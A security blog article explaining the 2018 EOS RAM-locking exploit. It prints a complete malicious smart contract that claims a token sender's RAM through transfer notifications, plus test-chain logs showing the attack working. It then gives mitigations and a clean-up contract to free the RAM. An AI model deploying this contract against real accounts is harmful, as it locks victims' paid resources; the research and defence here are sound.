The promise of easy money can make people do crazy things. Members of the blockchain community arenโt immune to this problem. And as the recent EOS RAM exploit shows, attackers know about this weakness of human nature and know exactly how to use it to their benefit.
In this article, Apriorit blockchain experts talk about EOS and the potential EOS.IO RAM exploit hack vulnerability. We look closer at the EOS RAM hijack and how to mitigate it, discuss possible ways to prevent such attacks, and try to recreate โ for research purposes โ a malicious smart contract thatโs able to allocate RAM from someone elseโs account. We then provide a practical solution to the problem.
Contents
What is RAM in the EOS network?
To begin, letโs take a close look at the structure of the EOS network, which is pretty unique in its design. In contrast to other blockchains, the EOS network is structured similarly to the operating system of a computer. It has system resources like Random Access Memory (RAM), CPU time, and network bandwidth, and users can reserve these resources by staking native SYS tokens.
In the EOS network, every piece of data stored in the blockchain takes up some RAM: account balances, smart contract code, data, etc. And just like in a regular operating system, EOS RAM is a limited resource. The network development team plans to implement unlimited RAM capacity in future, but for now, the scarcity of this resource causes a lot of market speculation.
In fact, RAM was being hoarded soon after the networkโs launch because some users reserved more RAM than they actually needed. As a result, most of the networkโs RAM is reserved, even though none of the active DApps has more than 500 users.
With some accounts having lots of free RAM that isnโt occupied with any data, it was only a matter of time before attackers turned their attention to this valuable resource. And in August 2018, an EOS.IO RAM exploit, locking free RAM resources of EOS users, was discovered. Letโs see how exactly this exploit works.
EOS RAM exploit
In the EOS network, if RAM is occupied by any data it canโt be sold back to the network and the SYS tokens that were staked for it canโt be recovered. The new EOS vulnerability allows malicious users to occupy large amounts of RAM from the accounts of other network users. The fact that many of these victim accounts actively trade the resource makes the discovered vulnerability even more dangerous.
This is how the exploit works: hackers create a malicious contract that uses certain smart contract mechanics to fill a victimโs RAM with garbage data. As a result, the hacker can lock and steal the RAM, blocking the victim from using the resource as well as selling it back to the network.
According to Dan Larimer, the CTO of Block.one and the chief architect of the EOS cryptocurrency, the attack is โsimilar to vandalismโ because it abuses two completely legitimate and widely used smart contract features. When used properly, these exploited features present more flexibility and power to smart contracts. However, the attackers found weak spots in the mechanisms of these features and turned them into an efficient attack tool.
Letโs look closer at each of these two vulnerable features:
The first feature allows smart contracts to automatically react to notifications, such as arbitrary token transfers, without an explicit call to the contract. This functionality is similar to the fallback function in Ethereum. But in contrast to the Ethereum network, where the fallback function is called only for ETH transfers, EOS has a much more universal implementation of this function. The Intent of Code in such notifications is to provide a reasonable reaction to an external event, such as logging data or distributing tokens.
The second feature abused by the attackers is the ability of a smart contract to claim RAM in the name of another user (i.e. the user pays for RAM, not the contract). This may sound dangerous, but thereโs an important detail: a smart contract may claim RAM from another userโs account only if it has permission. This means that a smart contract canโt randomly allocate RAM from any account on the network.
An invocation of the contract has to be signed by the user, explicitly giving the contract permission to access their account. The problem is that when responding to a notification, a user signs the transaction that eventually allows the exploit to take place.
To get a better understanding of the exploit, letโs look at a potential attack scenario (see Figure 1).
The attack consists of only seven steps:
- Bob has a malicious smart contract deployed on his account.
- Bob asks Alice to transfer some SYS tokens to his account.
- Alice agrees and has access to the eosio.token smart contract to transfer tokens.
- Alice signs the transaction, giving the eosio.token contract access to her token balance.
- Bobโs smart contract receives the notification about the token transfer. The smart contract is executed with the privileges of the original transaction, meaning that the contract is executed with Aliceโs signature.
- Bobโs smart contract can claim an arbitrary amount of RAM from Aliceโs account.
- Aliceโs RAM becomes locked forever.
Now letโs see if we can recreate this EOS RAM vulnerability in practice.
Recreating the RAM exploit
To understand the mechanism of the attack and find an efficient way to mitigate it, we first need to recreate a malicious smart contract thatโs able to lock unoccupied RAM in other accounts. To do so, we need to specify a filter within the action handler of the contract. Normally, you can do this with the help of the EOSIO_ABI macro. But in order to receive notifications, we have to implement the handler ourselves.
Note that if you want to handle specific types of notifications, your smart contract has to implement the same functions that you target when emulating the attack.
To run the attack, we have to implement the transfer method from the eosio.token contract, since we target the transfer of tokens in our example. Within the implementation of the transfer method, the malicious contract can simply write some junk data into RAM using a multi-index table.
Here is what our full malicious contract looks like:
#include <eosiolib/eosio.hpp>
using namespace eosio;
// The malicious contract
class dataStorage : public eosio::contract
{
public:
using contract::contract;
///@abi table ttab i64
struct ttab
{
uint64_t id;
uint64_t primary_key() const {return id;}
EOSLIB_SERIALIZE(ttab,(id))
};
typedef multi_index<N(ttab),ttab> _ttab; // The table that will take up the RAM
///@abi action
void transfer( account_name from,
account_name to,
asset quantity,
std::string memo ) // This function has the same signature as the transfer function from eosio.token, so it can be invoked with an appropriate notification during a token transfer.
{
_ttab ttabs(_self,_self);
uint64_t start = now() * 1000;
for (int i = 0; i < 1000; i++)
{
ttabs.emplace(from, [&](auto& data){ // The first parameter here specifies the account that would pay for any used RAM. In this case it is the sender of the transaction.
data.id = start + i;
});// Places junk data into the table
}
}
};
extern "C" {
void apply( uint64_t receiver, uint64_t code, uint64_t action ) {
if( code == N(eosio.token) ) { // If the the contract is invoked as part of a notification
dataStorage thiscontract(receiver);
switch( action ) {
EOSIO_API( dataStorage, (transfer) ) //Handles the transfer function
}
}
}
}
To test the contract, we have to deploy it to an account and attempt to transfer some tokens from a victim account to ours. Here are some logs from a few transactions:
---------- 1 โ Two newly created accounts ----------
root@fdc20b6f2dca:/contracts# cleos get account user
permissions:
owner 1: 1 EOS8UcAZjkqxw7on126sXWSm6TuW1pKeLYHFAayaZPRGCsQei3MRU
active 1: 1 EOS8UcAZjkqxw7on126sXWSm6TuW1pKeLYHFAayaZPRGCsQei3MRU
memory:
quota: unlimited used: 2.66 KiB
net bandwidth:
used: unlimited
available: unlimited
limit: unlimited
cpu bandwidth:
used: unlimited
available: unlimited
limit: unlimited
root@fdc20b6f2dca:/contracts# cleos get account test
permissions:
owner 1: 1 EOS8UcAZjkqxw7on126sXWSm6TuW1pKeLYHFAayaZPRGCsQei3MRU
active 1: 1 EOS8UcAZjkqxw7on126sXWSm6TuW1pKeLYHFAayaZPRGCsQei3MRU
memory:
quota: unlimited used: 2.66 KiB
net bandwidth:
used: unlimited
available: unlimited
limit: unlimited
cpu bandwidth:
used: unlimited
available: unlimited
limit: unlimited
---------- 2 โ Issue some SYS to user account ----------
root@fdc20b6f2dca:/contracts# cleos push action eosio.token issue '[ "user", "100.0000 SYS", "memo" ]' -p eosio@active
executed transaction: 2708c040fae4b0ce96f3ffee09b0da102e903e32c7861003eb1ccfd07290f4a2 136 bytes 632 us
# eosio.token <= eosio.token::transfer {"from":"user","to":"test","quantity":"10.0000 SYS","memo":"memo"}
# user <= eosio.token::transfer {"from":"user","to":"test","quantity":"10.0000 SYS","memo":"memo"}
# test <= eosio.token::transfer {"from":"user","to":"test","quantity":"10.0000 SYS","memo":"memo"}
warning: transaction executed locally, but may not be confirmed by the network yet ]
root@fdc20b6f2dca:/contracts# cleos get account user
permissions:
owner 1: 1 EOS8UcAZjkqxw7on126sXWSm6TuW1pKeLYHFAayaZPRGCsQei3MRU
active 1: 1 EOS8UcAZjkqxw7on126sXWSm6TuW1pKeLYHFAayaZPRGCsQei3MRU
memory:
quota: unlimited used: 2.66 KiB
net bandwidth:
used: unlimited
available: unlimited
limit: unlimited
cpu bandwidth:
used: unlimited
available: unlimited
limit: unlimited
SYS balances:
liquid: 100.0000 SYS
staked: 0.0000 SYS
unstaking: 0.0000 SYS
total: 100.0000 SYS
root@fdc20b6f2dca:/contracts# cleos get account test
permissions:
owner 1: 1 EOS8UcAZjkqxw7on126sXWSm6TuW1pKeLYHFAayaZPRGCsQei3MRU
active 1: 1 EOS8UcAZjkqxw7on126sXWSm6TuW1pKeLYHFAayaZPRGCsQei3MRU
memory:
quota: unlimited used: 2.66 KiB
net bandwidth:
used: unlimited
available: unlimited
limit: unlimited
cpu bandwidth:
used: unlimited
available: unlimited
limit: unlimited
---------- 3 โ Transfer some SYS to test account โ the transfer has used some RAM to store the test accountโs balance ----------
root@fdc20b6f2dca:/contracts# cleos push action eosio.token transfer '["user", "test", "10.0000 SYS", "memo"]' -p user@active
executed transaction: c3916c29d06c0eb15a2dda7dec4bf6fdfea1ac420ccc0cff5039d46848211d2c 136 bytes 764 us
# eosio.token <= eosio.token::transfer {"from":"user","to":"test","quantity":"10.0000 SYS","memo":"memo"}
# user <= eosio.token::transfer {"from":"user","to":"test","quantity":"10.0000 SYS","memo":"memo"}
# test <= eosio.token::transfer {"from":"user","to":"test","quantity":"10.0000 SYS","memo":"memo"}
warning: transaction executed locally, but may not be confirmed by the network yet ]
root@fdc20b6f2dca:/contracts# cleos get account user
permissions:
owner 1: 1 EOS8UcAZjkqxw7on126sXWSm6TuW1pKeLYHFAayaZPRGCsQei3MRU
active 1: 1 EOS8UcAZjkqxw7on126sXWSm6TuW1pKeLYHFAayaZPRGCsQei3MRU
memory:
quota: unlimited used: 3.02 KiB
net bandwidth:
used: unlimited
available: unlimited
limit: unlimited
cpu bandwidth:
used: unlimited
available: unlimited
limit: unlimited
SYS balances:
liquid: 90.0000 SYS
staked: 0.0000 SYS
unstaking: 0.0000 SYS
total: 90.0000 SYS
root@fdc20b6f2dca:/contracts# cleos get account test
permissions:
owner 1: 1 EOS8UcAZjkqxw7on126sXWSm6TuW1pKeLYHFAayaZPRGCsQei3MRU
active 1: 1 EOS8UcAZjkqxw7on126sXWSm6TuW1pKeLYHFAayaZPRGCsQei3MRU
memory:
quota: unlimited used: 2.66 KiB
net bandwidth:
used: unlimited
available: unlimited
limit: unlimited
cpu bandwidth:
used: unlimited
available: unlimited
limit: unlimited
SYS balances:
liquid: 10.0000 SYS
staked: 0.0000 SYS
unstaking: 0.0000 SYS
total: 10.0000 SYS
---------- 4 โ Transfer again โ no change, since the value was simply updated ----------
root@fdc20b6f2dca:/contracts# cleos push action eosio.token transfer '["user", "test", "10.0000 SYS", "memo"]' -p user@active
executed transaction: c3916c29d06c0eb15a2dda7dec4bf6fdfea1ac420ccc0cff5039d46848211d2c 136 bytes 764 us
# eosio.token <= eosio.token::transfer {"from":"user","to":"test","quantity":"10.0000 SYS","memo":"memo"}
# user <= eosio.token::transfer {"from":"user","to":"test","quantity":"10.0000 SYS","memo":"memo"}
# test <= eosio.token::transfer {"from":"user","to":"test","quantity":"10.0000 SYS","memo":"memo"}
warning: transaction executed locally, but may not be confirmed by the network yet ]
root@fdc20b6f2dca:/contracts# cleos get account user
permissions:
owner 1: 1 EOS8UcAZjkqxw7on126sXWSm6TuW1pKeLYHFAayaZPRGCsQei3MRU
active 1: 1 EOS8UcAZjkqxw7on126sXWSm6TuW1pKeLYHFAayaZPRGCsQei3MRU
memory:
quota: unlimited used: 3.02 KiB
net bandwidth:
used: unlimited
available: unlimited
limit: unlimited
cpu bandwidth:
used: unlimited
available: unlimited
limit: unlimited
SYS balances:
liquid: 80.0000 SYS
staked: 0.0000 SYS
unstaking: 0.0000 SYS
total: 80.0000 SYS
root@fdc20b6f2dca:/contracts# cleos get account test
permissions:
owner 1: 1 EOS8UcAZjkqxw7on126sXWSm6TuW1pKeLYHFAayaZPRGCsQei3MRU
active 1: 1 EOS8UcAZjkqxw7on126sXWSm6TuW1pKeLYHFAayaZPRGCsQei3MRU
memory:
quota: unlimited used: 2.66 KiB
net bandwidth:
used: unlimited
available: unlimited
limit: unlimited
cpu bandwidth:
used: unlimited
available: unlimited
limit: unlimited
SYS balances:
liquid: 20.0000 SYS
staked: 0.0000 SYS
unstaking: 0.0000 SYS
total: 20.0000 SYS
---------- 5 โ Deploy the attacker contract ----------
root@fdc20b6f2dca:/contracts# cleos set contract test ./test.vulnerability/ -p test@active
root@fdc20b6f2dca:/contracts# cleos get account user
permissions:
owner 1: 1 EOS8UcAZjkqxw7on126sXWSm6TuW1pKeLYHFAayaZPRGCsQei3MRU
active 1: 1 EOS8UcAZjkqxw7on126sXWSm6TuW1pKeLYHFAayaZPRGCsQei3MRU
memory:
quota: unlimited used: 3.02 KiB
net bandwidth:
used: unlimited
available: unlimited
limit: unlimited
cpu bandwidth:
used: unlimited
available: unlimited
limit: unlimited
SYS balances:
liquid: 80.0000 SYS
staked: 0.0000 SYS
unstaking: 0.0000 SYS
total: 80.0000 SYS
root@fdc20b6f2dca:/contracts# cleos get account test
permissions:
owner 1: 1 EOS8UcAZjkqxw7on126sXWSm6TuW1pKeLYHFAayaZPRGCsQei3MRU
active 1: 1 EOS8UcAZjkqxw7on126sXWSm6TuW1pKeLYHFAayaZPRGCsQei3MRU
memory:
quota: unlimited used: 70.1 KiB
net bandwidth:
used: unlimited
available: unlimited
limit: unlimited
cpu bandwidth:
used: unlimited
available: unlimited
limit: unlimited
SYS balances:
liquid: 20.0000 SYS
staked: 0.0000 SYS
unstaking: 0.0000 SYS
total: 20.0000 SYS
---------- 6 โ Test transfer again, now with the malicious contract in place. Note that apart from using a lot of RAM, the transaction has also used a lot more CPU time than usual. ----------
root@fdc20b6f2dca:/contracts# cleos push action eosio.token transfer '["user", "test", "10.0000 SYS", "memo"]' -p user@active
executed transaction: 4589febd4ade0ba46edc168d9b838597cde952358026868c382002ecae4966cd 136 bytes 26063 us
# eosio.token <= eosio.token::transfer {"from":"user","to":"test","quantity":"10.0000 SYS","memo":"memo"}
# user <= eosio.token::transfer {"from":"user","to":"test","quantity":"10.0000 SYS","memo":"memo"}
# test <= eosio.token::transfer {"from":"user","to":"test","quantity":"10.0000 SYS","memo":"memo"}
warning: transaction executed locally, but may not be confirmed by the network yet ]
root@fdc20b6f2dca:/contracts# cleos get account user
permissions:
owner 1: 1 EOS8UcAZjkqxw7on126sXWSm6TuW1pKeLYHFAayaZPRGCsQei3MRU
active 1: 1 EOS8UcAZjkqxw7on126sXWSm6TuW1pKeLYHFAayaZPRGCsQei3MRU
memory:
quota: unlimited used: 120.3 KiB
net bandwidth:
used: unlimited
available: unlimited
limit: unlimited
cpu bandwidth:
used: unlimited
available: unlimited
limit: unlimited
SYS balances:
liquid: 70.0000 SYS
staked: 0.0000 SYS
unstaking: 0.0000 SYS
total: 70.0000 SYS
root@fdc20b6f2dca:/contracts# cleos get account test
permissions:
owner 1: 1 EOS8UcAZjkqxw7on126sXWSm6TuW1pKeLYHFAayaZPRGCsQei3MRU
active 1: 1 EOS8UcAZjkqxw7on126sXWSm6TuW1pKeLYHFAayaZPRGCsQei3MRU
memory:
quota: unlimited used: 70.1 KiB
net bandwidth:
used: unlimited
available: unlimited
limit: unlimited
cpu bandwidth:
used: unlimited
available: unlimited
limit: unlimited
SYS balances:
liquid: 30.0000 SYS
staked: 0.0000 SYS
unstaking: 0.0000 SYS
total: 30.0000 SYS
As you can see from these logs, an ordinary transfer may use some RAM in order to store the updated balance. This amount, however, is usually insignificant. The malicious contract, on the other hand, was able to allocate more than 100 KiB of RAM. And at the current prices, 100 KiB of RAM would cost around 10 SYS, or $50.
Now itโs time to see how we can mitigate this kind of attack.
Solving the EOS RAM issue
At first glance, there are two ways we can solve this issue (see Figure 2).
The first option is to prevent smart contracts from allocating RAM in notifications altogether. This solution has been implemented in a patch for nodeos. However, it has two major drawbacks:
- Forbidding RAM allocation in notifications may break some older contracts that use this functionality. Basically, you would have to remove a legitimate feature from the system.
- This restriction can be removed within the nodeโs configuration file. So some nodes may still allow memory allocation during notification handling.
The second option is to send transactions to untrusted accounts through a proxy. Since the proxy has no available RAM, the malicious contract wonโt be able to lock any resources. So the proxy protects the user from the attack. This kind of proxy has been created by some community developers, and a proxy smart contract for safe transfers has already been deployed to the EOS mainnet.
This approach, however, also has its disadvantages. The main drawback of this method is that the proxy canโt be used to interact with DApps, as smart contracts wonโt be able to send a response back to the userโs account and will interact with the proxy instead.
As you can see, none of these solutions is completely flawless. There still may be some accounts with vulnerable RAM. So is there a way to free any of the claimed RAM in order to use it normally?
Freeing allocated RAM
The good news is that freeing allocated RAM isnโt too difficult. The most challenging part of trying to recover allocated memory is figuring out what parts of memory to free. The tricky thing is that the memory has to be freed the same way it was allocated in the first place. So in order to free RAM, you need to know exactly how it was used.
This part can be complicated, because it requires either having access to the original source code for the attackerโs smart contract or reverse engineering the contract to retrieve the necessary data structures. Fortunately, in our case we have the original sources, so we can simply copy the multi-index table that was used to claim the RAM. But even if you have to reverse engineer the attackerโs smart contract, the cost of reverse engineering may turn out to be less than the price of the RAM you want to recover. So you should at least consider this option.
After recreating the structures, all thatโs left to do is delete the multi-index table that was used before. In order to free the allocated RAM, you need to delete each entry in the table. Fortunately, you can do this with a simple loop.
So hereโs what a full contract able to free the RAM claimed by our malicious contract looks like:
class clearStorage : public eosio::contract
{
public:
using contract::contract;
///@abi table ttab i64
struct ttab
{
uint64_t id;
uint64_t primary_key() const {return id;}
EOSLIB_SERIALIZE(ttab,(id))
};
typedef multi_index<N(ttab),ttab> _ttab; // The same table structure as in the attackerโs contract
///@abi action
void clear(account_name attacker) // Clears the RAM
{
_ttab ttabs(attacker, attacker);
auto it = ttabs.begin();
while ( it != ttabs.end()) {
it = ttabs.erase(it); // Erases every row in the table to free the RAM
}
}
};
EOSIO_ABI(clearStorage, (clear)) // No special handlers are required, so we can use the usual EOSIO_ABI macro
Note that in order to use this smart contract, the victim has to deploy it and invoke the clean-up function.
An alternative solution
Thereโs at least one more way you can try to recover RAM allocated by attackers โ by addressing the EOS community. The Intent of Code we mentioned before works pretty much as the constitution of the EOS network. And since malicious usage of the notification feature of smart contracts breaks the Intent of Code, a victim can at least try to appeal to the community. Chances are high that the network community will agree to resolve the matter in a more efficient way (for example, with a fork).
And to learn more about existing vulnerabilities, check out our article about different types of attacks on blockchain.
Conclusion
The recently discovered EOS RAM exploit can play a low-down trick on EOS users who have reserved additional memory in hopes of trading it at a higher rate. However, now you know what can be done to either prevent the attack from happening altogether or free allocated RAM in case of a successful attack.
Want to know more about security issues and vulnerabilities in EOS? Check out our blog for more information about the most recent hacks and exploits found in the popular blockchain networks. Feel free to contact us if you have any questions!